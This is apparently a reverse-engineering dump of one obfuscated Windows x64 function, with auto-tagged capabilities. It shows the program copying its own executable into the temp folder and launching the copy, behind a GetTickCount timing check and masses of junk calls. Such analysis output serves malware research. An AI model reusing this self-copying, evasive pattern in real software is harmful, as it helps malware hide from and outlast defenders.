Function at 0x14000a810
Capabilities:
Check for time delay via gettickcount
Copy file
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x298
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x200], xmm6
movzx r14d, cl
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r14d
sub rsp, 0x20
mov ecx, 0x7afafa69
mov r8d, 0xccebed
mov r9d, 0x36
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
or edi, esi
sub rsp, 0x20
mov ecx, 0xa061440
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
and esi, edi
sub rsp, 0x20
mov ecx, 0x1050504
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
and edi, r14d
sub rsp, 0x20
mov ecx, 0x1010104
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
or ebx, edi
add ebx, esi
sub rsp, 0x20
mov ecx, 0xb071544
mov r8d, 0x22
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
movabs rcx, 0x6151755e5036a523
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xd4
mov edx, 0x44
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xcde5
mov edx, 0xad
call fcn.1400057e0
add rsp, 0x20
imul eax, ebx
mov rbx, rax
mov qword [rbp + 0x1e0], rax
sub rsp, 0x20
mov ecx, 0xe9
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x4cfd
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
imul r15d, edi
xor r12d, r12d
cmp ebx, r15d
sete r12b
sub rsp, 0x20
movabs rcx, 0x68fb88389f17cb70
call fcn.1400057e0
add rsp, 0x20
mov r13d, r12d
neg r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, r14d
or edi, r13d
mov ebx, r13d
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x9f
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r13d
sub rsp, 0x20
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
sub eax, r14d
mov ecx, r13d
xor ecx, r14d
sub ecx, edi
sub ecx, ebx
xor ecx, eax
mov dword [rbp + 0x1e8], ecx
sub rsp, 0x20
movabs rdi, 0x31041cac6ee8998b
mov rcx, rdi
call fcn.1400057e0
xor ecx, ecx
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xad
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov r8d, 0x100a2c
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
add rdi, 0xb
sub rsp, 0x20
mov rcx, rdi
call fcn.1400057e0
xor ecx, ecx
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, r13d
or edi, r15d
mov ebx, r15d
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x34
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xe4
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r15d
sub rsp, 0x20
mov ecx, 2
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
add eax, r12d
xor r15d, r13d
sub r15d, edi
sub r15d, ebx
xor r15d, eax
sub rsp, 0x20
movabs rcx, 0xf9d0f71b7cfdcf0b
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov edx, r14d
call fcn.1400057e0
movabs rcx, 0x5624d12ab0f39b15
mov edx, 0xbc90b3
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
xor edi, r13d
or edi, r15d
mov ebx, r15d
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r15d
sub rsp, 0x20
mov ecx, 2
mov edx, 8
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
add eax, r12d
xor r15d, r13d
sub r15d, edi
sub r15d, ebx
xor r15d, eax
sub rsp, 0x20
movabs rcx, 0xd8a75ae476215401
mov edx, r14d
call fcn.1400057e0
mov edx, 0xbf
xor ecx, ecx
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
mov r13, qword [rbp + 0x1e0]
xor edi, r13d
or edi, r15d
mov ebx, r15d
mov qword [rbp + 0x1d8], r15
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x10
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0x9276f1
mov r8d, 0xf1
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r15d
sub rsp, 0x20
mov ecx, 2
mov r8d, 0xd9
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
sub eax, r13d
mov r12d, r15d
xor r12d, r13d
sub r12d, edi
sub r12d, ebx
xor r12d, eax
sub rsp, 0x20
movabs rcx, 0x254c99b667873467
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0x1d
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x49ea4e7
mov edx, 0x96
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x67
mov edx, r14d
call fcn.1400057e0
sub rsp, 0x10
mov byte [rsp + 0x20], al
lea rcx, [0x14000f009]
lea rdx, [rbp + 0x80]
mov r8, rsi
mov r9, rdi
call fcn.1400057f0
add rsp, 0x30
mov qword [rbp + 0x1f0], rax
sub rsp, 0x20
mov ecx, 1
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
movabs rcx, 0x3b23694a1e4471bc
mov edx, r14d
mov r8d, r14d
mov r9d, r14d
call fcn.1400057e0
mov r8d, 0x1f
xor ecx, ecx
mov edx, r14d
call fcn.1400057e0
mov ecx, pe_nt_image_headers64
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x59
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0x1d87
call fcn.1400057e0
mov ecx, 0x62
mov edx, 0x3a
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
or esi, r12d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x5c09
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
movabs rcx, 0xc4dc96b5e1bb8e45
mov edx, r14d
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x7674b74b5dea8742
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x3859f2
mov r8d, 0x8b128c
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 1
mov edx, r14d
call fcn.1400057e0
movabs rcx, 0x898b48b4a21578bf
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
xor eax, esi
add eax, ebx
shl rax, 8
call fcn.140005620
sub rsp, rax
mov qword [rbp + 0x1d0], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
xor r15d, edi
mov rax, r13
or r15d, eax
mov ebx, eax
or ebx, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400057e0
add rsp, 0x20
mov r13, rax
imul r13d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xeeae3d
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
mov rbx, qword [rbp + 0x1e0]
xor esi, ebx
sub rsp, 0x20
mov ecx, 2
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
sub eax, edi
xor edi, ebx
sub edi, r15d
sub edi, r13d
xor edi, eax
sub rsp, 0x20
movabs rcx, 0x6989326deec5e1f2
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x37abfb
call fcn.1400057e0
movabs rcx, 0x9676cd92113a1e0f
mov edx, 0x90
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x3f
call fcn.1400057e0
add rsp, 0x20
mov r13, rax
xor r13d, edi
mov ebx, dword [rbp + 0x1e8]
or r13d, ebx
or ebx, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400057e0
add rsp, 0x20
mov r15, rax
imul r15d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
mov ebx, dword [rbp + 0x1e8]
xor esi, ebx
sub rsp, 0x20
mov ecx, 2
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
sub eax, edi
xor edi, ebx
sub edi, r13d
sub edi, r15d
xor edi, eax
sub rsp, 0x20
movabs rcx, 0x3d006628f1ee3c19
mov edx, 0x2793a2
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
add esi, edi
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0xc2ff99d70e11c3e8
mov edx, 0xa4
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add eax, edi
add eax, esi
imul rax, rax, 0x68
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.140005620
sub rsp, rax
mov r13, rsp
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
mov r15, qword [rbp + 0x1d8]
xor edi, r15d
or edi, r12d
mov ebx, r12d
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0xba
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
imul ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, r12d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x448e27
mov r8d, r14d
call fcn.1400057e0
add rsp, 0x20
imul eax, esi
sub eax, r15d
xor r12d, r15d
sub r12d, edi
sub r12d, ebx
xor r12d, eax
add r12d, 0xfc51a49d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov r8d, 0xbf
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xa2
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0x1788dcd8fc8a01b5
mov r8d, 0xf6
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 8
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
add eax, esi
imul eax, r12d
lea rax, [rax + rax*2]
lea rcx, [rax*8 + 0xf]
movabs rax, 0x3ffffffff0
and rax, rcx
call fcn.140005620
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x7a3f4a65fd899aa
mov edx, 0xa8
mov r8d, 0x1b
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xeb
mov r8d, 0xf6
mov r9d, 0x88
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x6d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x22
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0xf85c0b59a0276756
mov r8d, 0x865b71
mov edx, r14d
call fcn.1400057e0
mov edx, 0x28
mov r8d, 0x1b
mov r9d, 0x97a619
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
xorps xmm6, xmm6
movaps xmmword [rbp + 0xd0], xmm6
movaps xmmword [rbp + 0xe0], xmm6
movaps xmmword [rbp + 0xf0], xmm6
movaps xmmword [rbp + 0x100], xmm6
movaps xmmword [rbp + 0x110], xmm6
movaps xmmword [rbp + 0x120], xmm6
movaps xmmword [rbp + 0x130], xmm6
movaps xmmword [rbp + 0x140], xmm6
movaps xmmword [rbp + 0x150], xmm6
movaps xmmword [rbp + 0x160], xmm6
movaps xmmword [rbp + 0x170], xmm6
movaps xmmword [rbp + 0x180], xmm6
movaps xmmword [rbp + 0x190], xmm6
movaps xmmword [rbp + 0x1a0], xmm6
movaps xmmword [rbp + 0x1b0], xmm6
movaps xmmword [rbp + 0x1c0], xmm6
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 7
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x479b7f
call fcn.1400057e0
mov ecx, 0x4307
call fcn.1400057e0
mov ecx, 0x48
mov edx, 0x90
mov r9d, 0x9e16a3
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0xc6a9
mov r8d, 0x6d
mov edx, r14d
call fcn.1400057e0
movabs rcx, 0x7011e61dc5143753
call fcn.1400057e0
xor ecx, ecx
mov edx, r14d
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 0xdd
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x6b
mov r8d, 0x490ad4
call fcn.1400057e0
mov ecx, 0x4a89
mov edx, 0xf1
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x935
mov edx, r14d
call fcn.1400057e0
movabs rcx, 0xdfc05673bf24db00
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0x100
mov edx, r14d
call fcn.1400057e0
lea rdx, [rbp + 0xd0]
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov dword [rbp + 0x1fc], eax
sub rsp, 0x20
mov ecx, 0x7e
mov edx, r14d
mov r8d, r14d
mov r9d, r14d
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x1b
call fcn.1400057e0
mov ecx, 0xbadd
mov edx, 0x76dd5a
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0x99
mov edx, r14d
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xcd
call fcn.1400057e0
mov ecx, 0x6c19
call fcn.1400057e0
movabs rcx, 0x7e1c8d1d49ee183f
mov edx, 0x7a
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r14d
mov r8d, r14d
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x7d
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, r14d
call fcn.1400057e0
mov ecx, 2
mov r8d, 0xb6
mov edx, r14d
call fcn.1400057e0
movabs rcx, 0x81e372e2b611e8c1
call fcn.1400057e0
xor ecx, ecx
mov edx, r14d
call fcn.1400057e0
mov ecx, 0x100
call fcn.1400057e0
mov ecx, eax
mov rdx, qword [rbp + 0x1d0]
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov dword [rbp + 0x1f8], eax
sub rsp, 0x20
test r14b, r14b
je 0x14000bd08
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbx
add rsp, 0x20
mov qword [rbp + 0x1e8], rsi
mov esi, eax
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xb21030
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
mov ecx, 2
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
movabs rcx, 0x11c1a7898a50431
mov edx, 0x34
mov r8d, 0xa4
mov r9d, esi
call fcn.1400057e0
mov edx, 0xd9
xor ecx, ecx
call fcn.1400057e0
movabs rcx, 0x187edfe6d1fed1b7
mov edx, esi
call fcn.1400057e0
mov ecx, 7
call fcn.1400057e0
add rsp, 0x20
mov rcx, rax
mov eax, esi
xor edx, edx
div ecx
mov edi, eax
sub rsp, 0x20
mov ecx, 1
call fcn.1400057e0
movabs rcx, 0x81e748f072cdf3b3
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x2471d7
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xb6
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
mov edx, esi
call fcn.1400057e0
movabs rcx, 0xdf394e39f26f1878
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 0x3e8
call fcn.1400057e0
add rsp, 0x20
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov r15d, edx
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x73b2d1
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 2
mov edx, 0xe4
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0x1d0287b5fd076b2f
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 0x25
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0xf9648a
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xf3d7
mov edx, esi
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x9c
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x1949
mov edx, 0x9a
call fcn.1400057e0
movabs rcx, 0xe2fd784a02f894d2
mov edx, esi
call fcn.1400057e0
mov edx, 0x721be7
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
mov ecx, 1
call fcn.1400057e0
add rsp, 0x20
add r15d, eax
sub rsp, 0x20
call rbx
add rsp, 0x20
mov ebx, eax
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
mov ecx, 0xffffffff
xor edx, edx
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x7a
mov r8d, 0x24
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0xb4
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
movabs rcx, 0x15c0a49b6a9d0d8d
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0x51f48a
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x36
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0xb4
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
mov ecx, 2
mov edx, 0x5f1626
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
movabs rcx, 0xbdb5aef83d6bf7cf
mov r8d, 0xc6
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 3
mov edx, 0xc8
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov edi, eax
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400057e0
movabs rcx, 0x3474ddf6b4d9b8a3
mov edx, 0x49
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
mov ecx, 0x64
mov edx, 0xa2
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov ebx, edx
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x9a
mov r8d, 0xed
mov r9d, esi
call fcn.1400057e0
add rsp, 0x20
movabs rdi, 0x2d440afb2d09b9f2
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, 0xc6
mov r8d, 0x59
call fcn.1400057e0
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
mov ecx, 0x7f
mov edx, 0x123488
mov r8d, 0x10
call fcn.1400057e0
mov ecx, 0xff
mov edx, 0x28
mov r8d, esi
call fcn.1400057e0
mov ecx, 0x9f5
mov edx, 0x24
call fcn.1400057e0
mov ecx, 0xc0
mov edx, esi
call fcn.1400057e0
mov ecx, 0xff
call fcn.1400057e0
mov ecx, 0x6ac1
mov edx, 0xc7e478
mov r8d, 0xeb
mov r9d, esi
call fcn.1400057e0
mov rcx, rdi
call fcn.1400057e0
mov ecx, 1
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov rcx, rbx
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, r15
call fcn.1400057e0
sub rsp, 0x10
mov dword [rsp + 0x20], eax
lea r14, [rbp - 0x80]
lea rdx, [rbp + 0x80]
mov rcx, r14
mov r8, r12
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x10
mov edx, 0x25247c
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
lea rcx, [rbp + 0xd0]
mov rdx, r14
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 1
mov edx, 0xc6
mov r8d, 0x24
call fcn.1400057e0
add rsp, 0x20
movabs rbx, 0x2c9e1ade3b75eda9
lea rcx, [rbx + 0x18]
sub rsp, 0x20
call fcn.1400057e0
mov edx, 0x22
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
mov r8d, 0xfb9f49
mov rcx, rbx
mov edx, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movups xmmword [r13], xmm6
movups xmmword [r13 + 0x10], xmm6
movups xmmword [r13 + 0x20], xmm6
movups xmmword [r13 + 0x30], xmm6
movups xmmword [r13 + 0x40], xmm6
movups xmmword [r13 + 0x50], xmm6
mov qword [r13 + 0x60], 0
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400057e0
mov ecx, 0xffffffff
mov edx, 0x96
mov r8d, esi
call fcn.1400057e0
mov ecx, 2
call fcn.1400057e0
movabs rcx, 0xbd93268356ed04c1
mov edx, 0xf8b03e
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400057e0
add rsp, 0x20
mov rbx, rax
add ebx, edi
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400057e0
movabs rcx, 0x9ce3b09343009268
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
add eax, edi
imul eax, ebx
mov dword [r13], eax
mov qword [r13 + 0x10], 0
sub rsp, 0x50
mov rax, qword [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r13
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rdx, str._c___Se
mov rcx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
jmp 0x14000be57
mov ecx, 0xffffffff
call fcn.1400057e0
add rsp, 0x20
mov rsi, rax
xor esi, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xeb
mov r8d, esi
call fcn.1400057e0
mov ecx, 0xfffffffd
mov edx, 0x4fc9a1
call fcn.1400057e0
mov ecx, 0xffffffff
mov r8d, 0xff
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
call fcn.1400057e0
add rsp, 0x20
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1fc]
mov eax, dword [rbp + 0x1f8]
sub rsp, 0x20
movabs rcx, 0x77a48d65a06f8304
mov r8d, 0xf6
mov edx, esi
mov r9d, esi
call fcn.1400057e0
add rsp, 0x20
mov rax, qword [rbp + 0x1f0]
sub rsp, 0x20
movabs rcx, 0x885b729a5f907d7c
mov edx, 0x6b
mov r8d, esi
call fcn.1400057e0
xor ecx, ecx
call fcn.1400057e0
add rsp, 0x20
movaps xmm0, xmmword [rbp + 0xd0]
movaps xmm1, xmmword [rbp + 0xe0]
movaps xmm2, xmmword [rbp + 0xf0]
movaps xmm3, xmmword [rbp + 0x100]
movups xmmword [0x14001014c], xmm0
movups xmmword [0x14001015c], xmm1
movups xmmword [0x14001016c], xmm2
movups xmmword [0x14001017c], xmm3
